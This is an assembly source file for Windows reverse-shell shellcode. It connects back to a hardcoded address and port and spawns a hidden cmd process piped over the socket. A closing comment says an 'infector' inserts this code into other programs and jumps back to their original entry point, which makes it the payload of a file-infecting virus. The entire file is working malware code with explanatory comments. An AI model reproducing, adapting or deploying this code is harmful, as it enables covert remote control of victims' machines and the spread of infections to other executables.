;RemoteShell.asm 
;nasm -f elf RemoteShell.asm
;ld -o RemoteShell RemoteShell.o
;objdump -d RemoteShell

[BITS 32]

LoadWs2_32:
    call GetLibHandle
    db 'ws2_32',0
GetLibHandle:
    mov ebx,0x75832884          ; ebx = &LoadLibraryA
    call ebx                    ; call LoadLibraryA
WSAStartup:
    sub esp,0x0300              ; initialize WSAData
    push esp                    ; push lpWSAData
    push 0x02                   ; wVersionRequested = AF_INET
    mov ebx,0x7666c0fb          ; ebx = &WSAStartup
    call ebx                    ; call WSAStartup
CreateSocket:
    push eax                    ; dwFlags:DWORD = 0
    push eax                    ; g:GROUP = 0
    push eax                    ; lpProtocolInfo:LPWSAPROTOCOL_INFO = 0
    push eax                    ; protocol:int = 0
    inc eax                     ; eax = 1
    push eax                    ; type:int = 1
    inc eax                     ; eax = 2
    push eax                    ; af:int = 2
    mov ebx,0x7666b7fc          ; ebx = &WSASocketA
    call ebx                    ; call WSASocketA
    mov esi,eax                 ; esi = returned file descriptor
ConnectSocket:
    push 0x0100007f	            ; Push the address of the remote machine to connect to in network-byte order. In this case 127.0.0.1 has been used.
    push 0x5C110002             ; Push the sin port and sin family attributes.
    mov ebx,esp	                ; Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
    push 0x10	                ; Push the namelen argument which has been set to 16.
    push ebx	                ; Push the name argument which has been set to the initialized struct sockaddr in on the stack.
    push esi	                ; Push the s argument as the file descriptor that was previously returned from WSASocket.
    mov ebx,0x766648be          ; ebx = &connect
    call ebx                    ; Call connect to establish a TCP connection to the remote machine on the specified port.
Initialize_process:
    mov ecx,0x54                ; ecx = 54
    sub esp,ecx 	            ; Allocate stack space for the two structures.
    mov edi,esp 	            ; Set edi to point to the STARTUPINFO structure.
    push edi	                ; Preserve edi on the stack as it will be modified by the following instructions.
Zero_structs:
    rep stosb	                ; Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi	                    ; Restore edi to its original value.
Initialize_structs:
    mov byte[edi],0x44          ; Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi+0x2d]	        ; Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi	                ; Preserve edi again as it will be modified by the stosd.
    mov eax,esi	                ; Set eax to the client file descriptor that was returned by accept
    lea edi,[edi+0x38]	        ; Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd	                    ; Set the hStdInput attribute to the file descriptor returned from accept.
    stosd	                    ; Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd	                    ; Set the hStdError attribute to the file descriptor returned from accept.
    pop edi	                    ; Restore edi to its original value.
Execute_process:
    push 0x00646d63             ; push 'c' 'm' 'd' '\0' on the stack
    mov eax,esp                 ; eax = pointer on "cmd" string
    lea esi,[edi+0x44]	        ; Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi	                ; Push the pointer to the lpProcessInformation structure.
    push edi	                ; Push the pointer to the lpStartupInfo structure.
    push ecx	                ; Push the lpStartupDirectory argument as NULL.
    push ecx	                ; Push the lpEnvironment argument as NULL
    push 0x8000000	            ; Push the dwCreationFlags argument as CREATE_NO_WINDOW.
    inc ecx
    push ecx                    ; Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec ecx
    push ecx                    ; Push the lpThreadAttributes argument as NULL.
    push ecx                    ; Push the lpProcessAttributes argument as NULL.
    push eax                    ; Push the lpCommandLine argument as the pointer to cmd. Only change in this section to portbind.
    push ecx                    ; Push the lpApplicationName argument as NULL.
    mov ebx,0x757e2062          ; ebx = &CreateProcessA
    call ebx                    ; Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.
EndShellCode:
    ; Here my infector inject a jmp opCode pointing on original entry point of infected program